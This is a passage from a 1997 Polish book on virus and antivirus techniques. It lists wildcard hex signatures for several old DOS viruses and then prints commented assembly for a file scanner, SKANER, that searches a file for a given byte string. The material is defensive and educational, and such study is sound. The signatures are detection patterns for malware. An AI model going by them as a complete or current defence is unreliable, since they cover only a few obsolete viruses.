używających znaków globalnych:
BB ?2 B9 10 01 81 37 ?2 81 77 02 ?2 83 C3 04 E2 F2 ; sygnatura
wirusa FireFly
B9 CC 01 BB ?2 2E 81 07 ?2 83 C3 02 ; sygnatura wirusa K-
CMOS
1E 06 OE OE 1F 07 2E FE 06 ?2 2E A1 ; sygnatura wirusa
Geodesic Propagation
33 CO 8E D8 BE ?2 FF 34 FF 74 02 C7 04 ; sygnatura wirusa
1984
Poniżej zamieszczono listing programu, który umożliwia wyszukiwanie zadanego ciągu
bajtów w podanym jako parametr pliku. Zadany ciąg bajtów może być podany Jako
łańcuch w apostrofach lub jako zapisane heksalnie dane (możliwa jest także kombinacja
podanych metod).
;----------------------------------------------------------------
------------;
;
;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;
;
;
; SKANER v1.0, Autor : Adam Blaszczyk 1997
;
;
;
; Program sluzy do przeszukiwania plikow w celu znalezienia
zadanego ;
; lancucha bajtow (np. stalej sygnatury wirusa) podanego jako
parametr ;
; przy wywolaniu programu.
;
;
;
;----------------------------------------------------------------
------------;
; DANE TECHNICZNE
;
;----------------------------------------------------------------
------------;
;
;
; _ Wywolanie: SKANER NazwaPliku CiagBajtow
;
; _ Ciag moze skladac sie z liczb zapisanych heksalnie lub
zwyklego tekstu ;
; np:
;
; _ CD 21 - szuka wywolania przerwania 21h
;
; _ 'wirus' - szuka slowa "wirus"
;
; _ 'abc'80C5'def'EE F6 - szuka lancucha "abcă+def_¸"
;
; _ Maksymalna dlugosc wyszukiwanego ciagu = 128
bajtow. ;
; _ Dlugosc jednorazowo odczytywanych danych z pliku = 65024
bajtow ;
; 65024=512*127=127 sektorow, 512 bajtowych
;
; _ Maksymalna ilosc zliczanych wystapien ciagu = 2^32 razy
;
; _ Pliki z atrybutami Hidden, System przed odczytem maja
zmieniany atrybut ;
; na Archive; po skonczeniu programu przywracany jest
oryginalny atrybut ;
; _ Procedura obslugi INT 24h <dialog ARIF-
Abort,Retry,Ignore,Fail> ;
; zastapiona zostala sekwencja sygnalizujaca blad programowi
;
; _ Wyszukiwane sa wszystkie mozliwe wystapenia ciagu
;
; (takze zachodzace na siebie)
;
;
;
;----------------------------------------------------------------
------------;
;----------------------------------------------------------------
---
; Definicje Stalych
;----------------------------------------------------------------
---
JUMPS
;stale logiczne
Falsz equ 00h ; \ definicja
dwoch stalych logicznych
Prawda equ Falsz+1 ; / 0=Falsz i
1=Prawda
; stale ogolne
RozmiarStosu equ 128 ; rozmiar
stosu w slowach dwubajtowych
RozmiarCiagu equ 128 ; rozmiar
bufora na wyszukiwany ciag
RozmiarBuforaDanych equ 127*512 ; rozmiar
bufora na dane = segment 64K-512
DlugNazwyPliku equ 128 ; dlugosc
pelnej nazwy pliku
LiniaPolecen equ 80h ; adres (w
PSP) do parametrow
; stale znakowe
ZnakTabulacji equ 09h ; \
ZnakSpacji equ ' ' ; \
ZnakKoncaLinii equ 0Dh ; - stale
znakowe
CR equ 0Dh ; /
LF equ 0Ah ; /
; stale bledow
; na ich podstawie nastepuje obliczenie ofsetu komunikatu o
bledzie
BlBezBledu equ 00h ; nie ma
bledu
BlBrakParametrow equ 01h ; blad : nie
ma parametrow
BlBrakNazwyPliku equ 02h ; blad : brak
nazwy pliku w parametrach
BlBrakCiagu equ 03h ; blad : brak
ciagu do wyszukania
BlZlyCiag equ 04h ; blad : ciag
zawiera bledy
BlBrakPlikuNaDysku equ 05h ; blad : brak
pliku podanego jako parametr
BlBlad_ARIF equ 06h ; blad : brak
dostepu do pliku (int 24h)
BlZlyAtrybutPliku equ 07h ; blad : nie
plik tylko etykieta dysku lub katalog
BlBrakDostepuDoPliku equ 08h ; blad : nie
mozna zmienic atrybutow na archive
BlNieMogeOtworzyc equ 09h ; blad : nie
moge otworzyc pliku
BlNieMogeCzytac equ 0Ah ; blad : nie
moge czytac pliku
BlNieMogeZamknac equ 0Bh ; blad : nie
moge zamknac pliku
BlPlikZaKrotki equ 0Ch ; blad : plik
krotszy niz dlugosc ciagu
; stale drukowania wrostkow
; 7 bit=1 wywolaj procedure konwersji, ktorej adres w [si+1]
; 7 bit=0 wyswietl tekst, ktorego adres jest pod [si+1]
DrPlik equ 01h ; stala dla
wrostka NazwaPliku
DrCiag equ 02h ; stala dla
wrostka Ciag
DrUnIntDec equ 83h ; stala dla
wrostka - liczby bez znaku typu Int (dziesietne)
DrUnIntHex equ 84h ; stala dla
wrostka - liczby bez znaku typu Int (szesnastkowo)
IleWrostkow equ 04h ; ile
maksymalnie wrostkow
; stale DOS-owe
TrybOtwarciaPliku equ 00000000b ; oznacza
otwarcie pliku tylko do odczytu
AtReadOnly equ 00000001b ;\
AtHidden equ 00000010b ; \
AtSystem equ 00000100b ; \
AtVolumeID equ 00001000b ; -
atrybuty pozycji katalogu
AtDirectory equ 00010000b ; /
AtArchive equ 00100000b ; /
AtAll equ 00111111b ; /
; definicja bufora DTA (Disk Transfer Area)
DTA_STRUC struc ; struktura
potrzebna dla funkcji
NieWazne db 21 dup(?) ; 4E i 4F
sluzacych do poszukiwania
Atrybut db ? ; pierwszego
(4E) i nastepnego (4F)
Czas dw ? ; wystapienia
w katalogu (pliku, katalogu,itp.)
Data dw ? ; opisuje
wszystkie parametry pliku
Dlugosc dd ? ; zawarte w
FAT z wyjatkiem pierwszego numeru JAP
Nazwa db 13 dup(?)
DTA_STRUC ends
;----------------------------------------------------------------
---
; Segment Kodu
;----------------------------------------------------------------
---
SKANER SEGMENT
ASSUME CS:SKANER, ds:SKANER
Start: ; poczatek
programu
Call UstawParametrySystemu ; ustaw
DS+nowe (DTA i int 24h)
mov si,Offset TeCopyRight ;
Call DrukLn ; wyswietl
komunikat o programie
Call CzytajParametry ; Wez z
PSP:80h parametry : Plik+Ciag
jc Blad ; gdy CF=1,
to blad
Call SprawdzPlik ; czy plik
istnieje ?
jc blad
Call SzukajLancuch ; Szukaj
lancucha w pliku
jc Blad
mov NumerBledu,BlBezBledu ; wszystko OK
!
Blad: ; skacz tu,
jesli jakis blad
Call PrzywrocParametrySystemu ; stare
DTA+INT 24h
Call OstatniKomunikat ; zwraca
0=bez bledu lub FF=blad
mov ah, 4Ch ; funkcja
powrotu do systemu DOS
int 21h ; wywolaj
funkcje
;----------------------------------------------------------------
---
OstatniKomunikat proc near ; wyswietla
komunikat na koncu programu
pushf ; zachowaj
znaczniki, potrzebne pozniej
mov ax,seg SKANER
mov ds,ax ; DS=segment
danych
mov al, NumerBledu ; al=numer
bledu
cbw ; ax=numer
bledu
shl ax,1 ; ax=ax*2, bo
kazdy ofset=2 bajty
add ax,Offset OffsetyKomunikatow ; ax=tablica
z adresami komunikatow bledow
xchg ax,bx ; bx=tablica
z adresami komunikatow bledow
;
[bx]=tablica[blad]
mov si,[bx] ; dx=offset
do komunikatu o bledzie (lub 'OK')
Call DrukLn ; wypisz
komunikat
popf ; przywroc
znaczniki
mov al,0 ; w al
przekaz kod bledu, 0=bez bledu
sbb al,0 ; jezeli
blad, to al=FF
ret
OstatniKomunikat endp
;----------------------------------------------------------------
---
SzukajLancuch proc near ; otwiera
plik i szuka zadany ciag
; w calym
pliku
mov ax,seg ProgDTA ; ustaw ES na
segment, do ktorego beda
mov es,ax ; wczytywane
dane =127 sektorow
mov ax,word ptr [BufDTA.Dlugosc] ; -DX:AX =
dlugosc pliku
mov dx,word ptr [BufDTA.Dlugosc+2] ; /
or dx,dx ; czy b.
znacz. czesc dlugosci =0
jnz DlugiPlik ; nie ->
dlugosc<>0
cmp ax,DlugoscCiagu ; b. znacz.
czesc=0, czy mniej znacz. czesc
jae DlugiPlik ; dlugosci >
dlugosc ciagu
mov NumerBledu,BlPlikZaKrotki ; Blad : plik
krotszy od ciagu !
jmp short NieMogeOtworzyc ; wyswietl
blad
DlugiPlik:
mov si,offset TeSzukamCiagu ; wyswietl
informacje o szukaniu
Call DrukLn ; lancuchu w
pliku
mov NumerBledu,BlNieMogeOtworzyc ; ewentualny
numer bledu
mov dx,Offset NazwaPliku ; nazwa pliku
w DS:DX, tryb dostepu w AL
mov ax,3D00h+TrybOtwarciaPliku ; funkcja DOS
- otworz plik
int 21h ; DOS :
otworz plik
jc NieMogeOtworzyc ; CF=1 ->
blad
xchg ax,bx ; BX=uchwyt
pliku
Call CzytajSzukaj ; szukaj
lancucha w calym pliku
jc NieMogeOtworzyc
mov ah,3Eh ; zamknij
plik
int 21h ;
mov ax,word ptr [IleZnalezionych] ; wyswietl,
ile razy ciag
mov dx,word ptr [IleZnalezionych+2] ; wystapil w
pliku
mov si, offset TeZnalazlem
or dx,dx ; \ sprawdz,
czy przynajmniej
jnz CosZnalazl ; \ raz, jak
ani razu to
or ax,ax ; / inny
komunikat
jnz CosZnalazl ; /
mov si, offset TeNieZnalazlem
CosZnalazl:
Call DrukLn ; wyswietl
komunikat spod DS:SI
clc ; nie ma
bledu
NieMogeOtworzyc:
ret ; powrot z
procedury
SzukajLancuch endp
;----------------------------------------------------------------
---
CzytajSzukaj proc near ; czytaj w
pliku i szukaj lancuch
; na wejsciu
numer pliku w BX
xor ax,ax ; \
mov word ptr [IleZnalezionych] ,ax ; \
mov word ptr [IleZnalezionych+2],ax ; - wyzeruj
zmienne
mov word ptr [AdresCzytania],ax ; /
mov word ptr [AdresCzytania+2],ax ; /
mov NumerBledu,BlNieMogeCzytac ; ewent. blad
xor bp,bp ; BP oznacza
odstep od poczatku bufora,
; pod ktory
wczytujemy dane, na poczatku=0
dec DlugoscCiagu ; zmniejsz o
1 dlugosc ciagu potrzebne
; w
pozniejszej operacji porownania
cld ; w oper.
lancuchowych INC(SI,DI)
CzytajDoBufora: ; petla
glowna
push ds ; zachowaj DS
na stosie
mov ax,es
mov ds,ax ;
DS=ES=segment na dane z pliku
mov cx,RozmiarBuforaDanych ; ile czytac
danych
mov dx,offset BuforDanych ; DS:DX = tu
wczytuj dane
add dx,bp ; dodaj dlug.
danych, ktore zostaly z poprz. odczytu
mov ah,3Fh ; DOS :
funkcja czytania
int 21h ; DOS :
wykonaj funkcje
pop ds ; przywroc DS
jc NieMogeCzytac ; gdy CF=1,
to blad
add word ptr [AdresCzytania],ax ; \dodaj do
pozycji odczytu ilosc
adc word ptr [AdresCzytania+2],0 ;
/odczytanaych bajtow
mov [Przeczytane],ax
add ax,bp ; \do ilosci
odczytanych bajtow dodaj dlugosc danych
;
/pozostalych z poprzedniego odczytu
cmp ax,DlugoscCiagu ; \
ax=dlugosc danych do porownania
jb KoniecPliku ; - jesli
mniej niz ciag, to nie trzeba porownywac
; / bo i tak
ciag sie nie znajdzie
xchg ax,cx ; cx=dlugosc
danych do porownania
push cx ; zachowaj do
pozniejszego porownania
mov di,offset BuforDanych ; poczatek
danych
SzukajPierwszej:
mov si,Offset Ciag ; ofset do
wyszukiwanego ciagu
lodsb ; al=pierwsza
litera ciagu, INC(SI)
repnz scasb ; szukaj, az
znajdzie w danych pierwsza litere
jnz NieMaPierwszej ; jesli nie
znalazl, to czytaj dalej z pliku
cmp cx,DlugoscCiagu ; czy
wystarczy danych w buforze do porownania ?
jae PorownajCaly ; jest co
najmniej tyle lub wiecej to OK
inc cx ; - za malo
danych
dec di ; - cofnij
DI,CX na poprzednie wartosci
mov si,di ; - skopiuj
koncowke bufora na poczatek
mov di,offset BuforDanych ; - zachowaj
w BP dlugosc tej koncowki
mov bp,cx ; - w
nastepnym odczycie dane wczytane
rep movs byte ptr es:[di],es:[si] ; -
umieszczone beda za ta koncowka
jmp short NieMaPierwszej ; - a
porownywanie sie powtorzy, ale teraz beda dane
PorownajCaly: ; - do
porownania, po skoku czytaj dalej dane
push cx ;
push di ; zachowaj
aktualna pozycje w buforze i licznik
mov cx,DlugoscCiagu ; dokladniej
: dlugosc ciagu-1 bo nie musimy porownywac
; pierwszej
litery, ktora juz byla sprawdzona
jcxz JednoLiterowy ; jesli CX=0,
to ciag byl jednoliterowy
rep cmpsb ; porownaj cx
bajtow
jne NieMaLancucha ; jesli ZF=0,
nie znalazl ciagu
JednoLiterowy:
mov ax,word ptr [AdresCzytania] ; DX:AX=32
bitowa pozycja odczytu pliku
mov dx,word ptr [AdresCzytania+2]
sub ax,[Przeczytane]
sbb dx,0
sub ax,bp
sbb dx,0
pop di ; przywroc
odleglosc od poczatku bufora
push di ; zachowaj di
dec di ; zmniejsz
wskaznik, zeby wskazywal na pierwsza litere
add ax,di
adc dx,0 ; dodawanie
32 bitowe
; DX:AX =
adres fizyczny wzgledem pocz. pliku
mov word ptr [AdresZnalezienia],ax ; -zapamietaj
ten adres w zmiennej, bo procedura
mov word ptr [AdresZnalezienia+2],dx; /konwersji
korzysta z ofsetu do zmiennej, zeby ja wyswietlic
mov si,offset TeZnalezionyNaPozycji ; -wyswietl
tekst ze znalazl
Call DrukLn ; /adres :
wyswietl szesnastkowo i dziesiatkowo
add word ptr [IleZnalezionych],1 ; -zwieksz 32
bitowy licznik wystapien
adc word ptr [IleZnalezionych+2],0 ; /dodaj
ewentualne przeniesienie z 15 na 16 bit
NieMaLancucha:
pop di ;
pop cx ; przywroc
aktualna pozycje w buforze+licznik
jcxz NieMaPierwszej ; czy juz
caly bufor pusty ?
; xor bp,bp ; zeruj
dlugosc koncowki
jmp short SzukajPierwszej ; skocz i
szukaj nastepnego wystapienia
NieMaPierwszej:
pop ax ; zdejmij
ilosc odczytanych danych ze stosu
cmp ax,RozmiarBuforaDanych ; i porownaj,
czy tyle ile bylo wczytywanych
jb KoniecPliku ; jesli nie
tyle samo, to koniec pliku
; jesli tyle
samo, to czytaj dalej
jmp CzytajDoBufora ; skocz i
czytaj dalej dane
KoniecPliku: ; dane sie
skonczyly
clc ; nie ma
bledu
NieMogeCzytac:
ret ; wroc z
procedury
CzytajSzukaj endp
;----------------------------------------------------------------
---
PrzywrocParametrySystemu proc near ; przywraca
stare adresy DTA+Int 24h
; i
ewentualnie atrybuty pliku
; (jezeli
sytemowy, ukryty)
pushf ; zachowaj
flagi z ew. bledem
cmp ZmienAtrPliku,Prawda ; czy
przywrocic atrybut ?
jne NiePrzywracajAtrybutu ; skocz jesli
nie
mov ax,4301h ; DOS:
funkcja 43xxh wez(xx=0)/ustaw(xx=1) atr. pliku
xor ch,ch ; ch=0
mov cl,[BufDTA.Atrybut] ; cx=stare
atrybuty
mov dx,Offset NazwaPliku ; DS:DX
=nazwa pliku
int 21h ; DOS : zmien
atrybuty
NiePrzywracajAtrybutu:
push ds ; zachowaj
segment danych
push ds ; 2 razy ->
na pozniej
lds dx,dword ptr [StareI24Ofs] ; przywroc
stara obsluge bledow
mov ax,2524h ; ustaw Int
24h
int 21h ; funkcja 25h
- ustaw wektor (numer w AL)
pop ds ; przywroc
segment danych
lds dx,dword ptr [StareDTAOfs] ; przywroc
stare DTA
mov ah,1Ah ; funkcja 1Ah
- ustaw DTA
int 21h ; wywolaj
funkcje
pop ds ; przywroc
segment danych
popf ; przywroc
znaczniki z ew. bledem
ret ; powrot z
procedury
PrzywrocParametrySystemu endp
;----------------------------------------------------------------
---
UstawParametrySystemu proc near ; ustaw
obsluge przerwania 24h
; nowy bufor
DTA
mov ax,seg SKANER
mov ds,ax ; DS=segment
danych
mov MojAdresPSP,es ; zachowaj
PSP
mov ax,3524h ; funkcja wez
adres przerwania (num. w AL)
int 21h ; wez stare
INT 24h do rejestrow ES:BX
mov StareI24Ofs,bx ; - zachowaj
stare przerwanie
mov StareI24Seg,es ; /
ES=segment, BX=offset
mov ah,2Fh ; wez stare
DTA do rejestrow ES:BX
int 21h
mov StareDTAOfs,bx
mov StareDTASeg,es ; ES=segment,
BX=ofset
mov dx,Offset BufDTA
mov ah,1Ah ; ustaw nowe
DTA na adres zawarty w DS:DX
int 21h
push ds ; zachowaj DS
push cs ; -DS=CS
pop ds ; /
mov dx,offset NoweInt24 ; ustaw nowe
przerwanie 24h
mov ax,2524h ; w DS:DX
int 21h
pop ds ; przywroc DS
ret ; powrot z
procedury
UstawParametrySystemu endp
;----------------------------------------------------------------
---
NoweInt24 proc near ; procedura
obslugi przerwania programowego bledow
; krytycznych
wywolywana przez DOS w razie bledu
push ds ; \
push ax ; -zachowaj
DS i AX
mov ax,seg SKANER
mov ds,ax ; ds=segment
danych
mov NumerBledu,BlBlad_ARIF ; zachowaj
numer bledu
pop ax ; \
pop ds ; -przywroc
DS i AX
mov al,3 ; pomin blad-
program sam zadecyduje co dalej
iret ; nie wywoluj
standardowego dialogu ARIF
NoweInt24 endp ; powrot z
procedury obslugi przerwania programowego
;----------------------------------------------------------------
---
SprawdzPlik proc near ; szukaj plik
podany jako parametr
mov ZmienAtrPliku,Falsz ; na razie
nie znamy atrybutow, wiec nie trzeba
; przywracac
oryginalnych
mov NumerBledu,BlBrakPlikuNaDysku ; ustaw ew.
numer bledu
mov ah,4Eh ; funkcja
szukaj pozycji katalogu
mov dx,offset NazwaPliku ; DS:DX nazwa
pliku
mov cx,AtAll ; w CX podaj
atrybut szukanej pozycji
int 21h ; wywolaj
funkcje
jc NieMaPliku ; gdy CF=1,
to blad
mov si,offset BufDTA ; nie ma
bledu , info o pliku jest w buforze DTA
mov al,[BufDTA.Atrybut] ; wez atrybut
pliku
mov NumerBledu,BlZlyAtrybutPliku ; ewent. blad
test al,AtVolumeID+AtDirectory ; sprawdz,
czy etykieta lub katalog (testuj bity)
stc ; ustaw
ewent. blad
jnz NieMaPliku ; skocz, bo
etykieta lub dysk
test al,AtHidden+AtSystem ; testuj bity
: ukryty lub system
mov NumerBledu,BlBrakDostepuDoPliku ; ewent. blad
jz NieZmienAtr ; nie sa
ustawione, to skocz dalej
mov ZmienAtrPliku,Prawda ; trzeba
zmienic atrybut, zeby mozna bylo odczytac
mov ax,4301h ; funkcja
ustaw atrybut pliku
mov cx,AtArchive ; cx=atrybyt
jaki ustawic
mov dx,Offset NazwaPliku ; DS:DX nazwa
pliku
int 21h ; wywolaj
funkcje
jc NieMaPliku ; gdy CF=1,
to blad
NieZmienAtr:
clc ; nie ma
bledu, plik gotowy do odczytu
NieMaPliku:
ret ; wroc z
procedury
SprawdzPlik endp
;----------------------------------------------------------------
---
CzytajParametry proc near ; wez
parametry z PSP:80h
push ds ; zachowaj DS
mov ax,ds ;
ES=DS=segment z danymi
mov es,ax
mov ds,MojAdresPSP ; DS=blok PSP
mov si,LiniaPolecen ; ofset w PSP
do linii polecen
mov es:NumerBledu,BlBrakParametrow ; ewentualny
numer bledu
cmp byte ptr ds:[si],0 ; dlugosc
linii polecen
je BladParametrow ; jezeli
pusta, to nie ma parametrow
inc si ; pomin
licznik
inc si ; pomin
spacje
cld ; INC(SI,DI)
w oper. na lancuchach
Call OpuscSpacje ; czytaj az
znak <> SPACJA lub TAB
mov es:NumerBledu,BlBrakNazwyPliku ; ewentualny
numer bledu
cmp al,ZnakKoncaLinii ;\ czy koniec
parametrow ?
je BladParametrow ;- jesli tak,
to powrot z procedury
mov di, offset NazwaPliku ; es:di : tu
zapisz wyniki
Call KopiujDoSpacji ; kopiuj
nazwe pliku
mov es:NumerBledu,BlBrakCiagu ; ewentualny
numer bledu
cmp al,ZnakKoncaLinii ;\ czy koniec
parametrow ?
je BladParametrow ;- jesli tak,
to powrot z procedury
xor al,al ; plik
ASCIIZ, wiec dodaj zero
stosb
Call OpuscSpacje ; czytaj az
znak <>SPACJA lub TAB
cmp al,ZnakKoncaLinii ; czy koniec
parametrow
je BladParametrow ; jesli tak,
to blad
mov es:NumerBledu,BlZlyCiag ; ewentualny
numer bledu
mov di, offset Ciag ; es:di : tu
zapisz ciag
Call KopiujCiagDoKonca ; kopiuj
parametr : ciag
jc BladParametrow ; jesli TAK,
to blad
mov ax,di
sub ax,offset Ciag
jz BladParametrow ; jesli TAK,
to lancuch pusty
mov es:DlugoscCiagu ,ax ; - zachowaj
dlugosc ciagu
mov es:AbsDlugoscCiagu ,ax ; - zachowaj
2-i raz dlugosc ciagu
clc ; nie ma
bledu
jmp short $+3 ; skocz i
pomin rozkaz STC
BladParametrow:
stc ; jest blad
pop ds
ret ; wroc z
procedury
CzytajParametry endp
;----------------------------------------------------------------
---
OpuscSpacje proc near
lodsb ; czytaj znak
z ds:[si], inc si
cmp al,ZnakSpacji ;\
je OpuscSpacje ; \ czy
spacja lub znak tabulacji ?
cmp al,ZnakTabulacji ; / jezeli
tak, to czytaj nastepny znak
je OpuscSpacje ;/
dec si ; zmniejsz
wskaznik na poprzedni znak
ret ; powroc z
procedury
OpuscSpacje endp
;----------------------------------------------------------------
---
KopiujDoSpacji proc near
KopiujZnak:
lodsb ; czytaj znak
z ds:[si], inc si
cmp al,ZnakSpacji ;\
je NieKopiuj ; \ czy
spacja lub znak tabulacji
cmp al,ZnakTabulacji ; \lub
koniec linii polecen
je NieKopiuj ; /jezeli
tak, to koncz kopiowanie
cmp al,ZnakKoncaLinii ; /
je NieKopiuj ;/
stosb ; skopiuj
znak
jmp short KopiujZnak ; skocz i wez
nastepny znak
NieKopiuj:
dec si ; zmniejsz
wskaznik na poprzedni znak
ret ; powroc z
procedury
KopiujDoSpacji endp
;----------------------------------------------------------------
---
KopiujCiagDoKonca proc
Pa_Nic = 00
Pa_Apostrof = 01
mov bl,Pa_Nic ; nie bylo
znaku specjalnego
mov bh,0
KopiujParamZnak:
lodsb ; czytaj znak
z ds:[si], inc si
cmp bl,Pa_Apostrof ; czy tekst w
apostrofach ?
jne ZwyklyTekst ; NIE - dane
heksalne
cmp al,39 ; czy znak
apostrofu ?
jne NieKoniecTekstu ; Nie - idz
dalej
mov bl,Pa_Nic ; koniec
tekstu w apostrofach
jmp KopiujParamZnak ; idz po
kolejny znak
NieKoniecTekstu:
stosb ; kopiuj
zwykly tekst
jmp KopiujParamZnak ; wez kolejny
znak
ZwyklyTekst:
cmp al,39 ; czy
apostrof poczatkowy
jne NiePoczatektekstu ; NIE -
sprawdzaj dalej
mov bl,Pa_Apostrof ; ustaw flage
jmp KopiujParamZnak ; idz po
nastepny znak
NiePoczatektekstu:
cmp al,ZnakKoncaLinii ; \ pomin,
gdy znak=CR
je KoniecParamTekstu ; /
cmp al,ZnakSpacji ; \ pomin,
gdy znak=spacja
je KopiujParamZnak ; /
cmp al,ZnakTabulacji ; \ pomin,
gdy znak=TAB
je KopiujParamZnak ; /
cmp al,'0' ; czy znak
>=0 ?
jb KoniecParamTekstuBlad ; < blad
cmp al,'9' ; czy znak
0..9 ?
jbe ToCyfra09 ; TAK - cyfra
and al,0DFh ; 'a'..'z'-
>'A'..'Z'
cmp al,'A' ; czy znak
<'A' ?
jb KoniecParamTekstuBlad ; TAK - blad
cmp al,'F' ; czy znak
>'F' ?
ja KoniecParamTekstuBlad ; TAK - blad
; znak
'0'..'F'
ToCyfra09:
cmp bh,0 ; czy licznik
znakow=0 ?
je ToPierwszyZnak ; TAK -
zachowaj znak na pozniej
cmp al,'9' ; czy znak to
cyfra ?
jbe ALJest09 ;
sub al,'A'-'0'-10 ; konwertuj
na liczbe
ALJest09:
cmp ah,'9' ; czy drugi
znak to cyfra ?
jbe AHJest09
sub ah,'A'-'0'-10 ; konwertuj
na liczbe
AHJest09:
sub ax,'00' ; \
mov bh,al ; \
konwersja liczby
mov al,16 ; \
heksalnej zapisanej
mul ah ; / jako
lancuch, na zwykla
add al,bh ; / liczbe
(znak ASCII)
stosb ; / i
zapisz znak
mov bh,0 ; licznik
znakow znow=0
mov bl,Pa_Nic ; "czyste"
wyjscie
jmp KopiujParamZnak ; wez
nastepny znak
ToPierwszyZnak:
mov ah,al ; zachowaj
pierwszy znak liczby
mov bh,1 ; jest juz
jeden znak
jmp KopiujParamZnak ; idz po
nastepny znak
KoniecParamTekstu:
cmp bx,Pa_Nic ; czy
"czyste" wyjscie ?
je KoniecParamTekstu2 ; jezeli nie,
to blad
dec si ; zmniejsz
wskaznik na poprzedni znak
KoniecParamTekstuBlad:
stc ; gdy CF=1,
to nie ma bledu
jmp $+3 ; przeskocz
'CLC'
KoniecParamTekstu2:
clc ; gdy CF=0,
to nie ma bledu
ret ; powrot z
procedury
KopiujCiagDoKonca endp
;----------------------------------------------------------------
---
DrukLn proc near ; drukowanie
tekstu ACSIIZ spod DS:SI
; z
przejsciem do nastepnej linii
Call Druk ; wydrukuj
tekst
push si ; \
mov si,Offset TeCRLF ; \
Call Druk ; \
pop si ; --- przejdz
do nastepnej linii
ret ; powrot z
procedury
DrukLn endp
;----------------------------------------------------------------
---
Druk proc near ; drukowanie
tekstu ACSIIZ spod DS:SI
push ax ; \
push bx ; \
push cx ; \
push si ; ---
zachowaj zmieniane rejestry
DrukZnak: ; petla
drukowania jednego znaku
cmp si,offset CiagStart ; \
jb ToNieParamtekst ; \
jezeli drukowany jest
cmp si,offset CiagKoniec ; \ w
obszarsze lancucha 'CiagBajtow'
jae ToNieParamtekst ; \ to
pozwol drukowac kazdy znak
mov cx,AbsDlugoscCiagu ; \
add cx,offset CiagStart ; /
cmp si,cx ; /
jae KoniecDruku ; /
lodsb ; /
jmp short ToParamtekst ; /
ToNieParamtekst:
lodsb ; wez kolejny
znak z lancucha
or al,al ; sprawdz,
czy ostatni znak ?
jz KoniecDruku ; jesli tak,
to wszystko wydrukowane
mov cx,IleWrostkow ; Ile
zdefiniowanych wrostkow
mov bx,Offset TablicaWrostkow ; tablica z
definicjami
SzukajWrostka: ; -sprawdz,
czy al nie oznacza wrostka
cmp ds:[bx],al ; /
jne NastepnyWrostek ; jesli nie,
to sprawdz nastepny w tablicy
test al,80h ; czy 7 bit
ustawiony ?
jz NormalnyDruk ; nie - to
ofset do tekstu
Call ds:[bx+1] ; tak - to
procedura konwersji
xor al,al ; zeruj dla
pozniejszego porownania
inc si ; - pomin
ofset do liczby do konwrsji
inc si ; /
jmp short NastepnyWrostek ; sprawdz
nastepny wrostek w tablicy
NormalnyDruk:
push si ; wrostek to
tekst spod ofsetu w tablicy
mov si,ds:[bx+1] ; wrostkow
Call Druk ; wyswietl
wrostek
pop si
xor al,al ; zeruj dla
pozniejszego porownania
NastepnyWrostek:
add bx,3 ; zwieksz
index do tablicy wrostkow
loop SzukajWrostka ; powtorz cx
razy
or al,al ; czy to byl
wrostek (al=0) ?
jz DrukZnak ; jesli tak,
to wez nastepny znak
ToParamtekst:
mov ah,02h ; wyprowadz
znak na
mov dl,al ; standardowe
wyjscie DOSa
int 21h
jmp short DrukZnak ; skocz i wez
nastepny znak lancucha
KoniecDruku:
pop si ; ---
przywroc zmienione rejestry
pop cx ; /
pop bx ; /
pop ax ; /
ret ; wracaj
Druk endp
;----------------------------------------------------------------
---
Bin2HexUnInt32 proc near ; procedura
wyswietla 32 bitowa liczbe szesnastkowa
; ofset do
liczby znajduje sie w si
push ax ; \
push bx ; \
push dx ; \
push si ; ---
zachowaj zmieniane rejestry
mov bx,[si] ; wez ofset
do liczby 32 bitowej
mov ax,[bx] ; - wczytaj
liczbe do DX:AX
mov dx,[bx+2] ; /
mov si,offset Hex2DecBufor ; ustaw na
poczatek bufora
mov bx,offset HexChars ; wez ofset
do tablicy z cyframi szesnastkowymi
push ax ; zapamietaj
mniej znacz. slowo
mov ax,dx ; najpierw
bar. znacz. slowo
Call Bin2HexUnInt16 ; konwertuj
liczbe 16 bitowa
pop ax ; przywroc
mniej znacz. slowo
Call Bin2HexUnInt16 ; terax mniej
znacz. slowo
mov word ptr [si],'h' ; ustaw na
koncu znak 'h' i 0
mov si,offset Hex2DecBufor ; - wyswietl
liczbe
Call Druk ; /
pop si ; ---
przywroc zmienione rejestry
pop dx ; /
pop bx ; /
pop ax ; /
ret ; powrot
Bin2HexUnInt16: ; wewnetrzna
procedura wywoluje "zstepujaco"
; kolejne
nizsze ranga procedury konwersji
push ax
mov al,ah ; konwertuj
b. znacz. czesc AX
Call Bin2HexUnInt8
pop ax ; konwertuj
m. znacz. czesc AX
Bin2HexUnInt8: mov ah,al
shr al,1 ; \
shr al,1 ; \ wyizoluj
4 bity (4..7)
shr al,1 ; / al=gorna
polowa liczby
shr al,1 ; /
szesnastkowej
Call Bin2HexUnInt4 ; konwertuj
b. znacz. bity (4..7)
mov al,ah
and al,15 ; wyizoluj 4
bity (0..3)
Bin2HexUnInt4:
xlatb ; al=byte ptr
ds:[bx+al]
mov [si],al ; zachowaj
znak w buforze
inc si ; zwieksz
indeks
ret ; powrot z
wen. procedury
Bin2HexUnInt32 endp
;----------------------------------------------------------------
---
Bin2DecUnInt32 proc near ; wyswietla
liczbe 32 bitowa bez znaku dziesietnie
push ax ; \
push bx ; \
push dx ; \
push si ; ---
zachowaj zmieniane rejestry
mov si,[si] ; wez ofset
do liczby 32 bitowej
mov ax,[si] ; - wczytaj
liczbe do DX:AX
mov dx,[si+2] ; /
mov si,offset Hex2DecBufor+10 ; ustaw na
koniec bufora, bo zapis od konca
mov byte ptr ds:[si],0 ; utworz
ASCIIZ (dodaj zero na koncu)
DzielPrzez10:
mov bx,10 ; dziel DX:AX
przez BX
Call Dziel32 ; w bx reszta
z dzielenia
add bl,'0' ; dodaj ASCII
"0"
dec si ; zmniejsz
indeks do tablicy
mov byte ptr ds:[si],bl ; zapisz
cyfre
or dx,dx ; \
jnz DzielPrzez10 ; \
or ax,ax ; \
jnz DzielPrzez10 ; --- czy
liczba jest juz 0 ?
Call Druk ; wyswietl
lancuch z liczba po konwersji
pop si ; ---
przywroc zmienione rejestry
pop dx ; /
pop bx ; /
pop ax ; /
ret ; powrot
Bin2DecUnInt32 endp
;----------------------------------------------------------------
---
Dziel32 proc near ; dziel
(dx:ax)/bx
push bp ; zachowaj bp
push ax ; zachowaj
mniejsza czesc liczby 32 bitowej
mov ax,dx ; przenies b.
znacz. czesc do mniej. znacz.
xor dx,dx ; i wyzeruj
dx , dx:ax = > 0:dx
div bx ; podziel
(0:dx)/bx
mov bp,ax ; calosc z
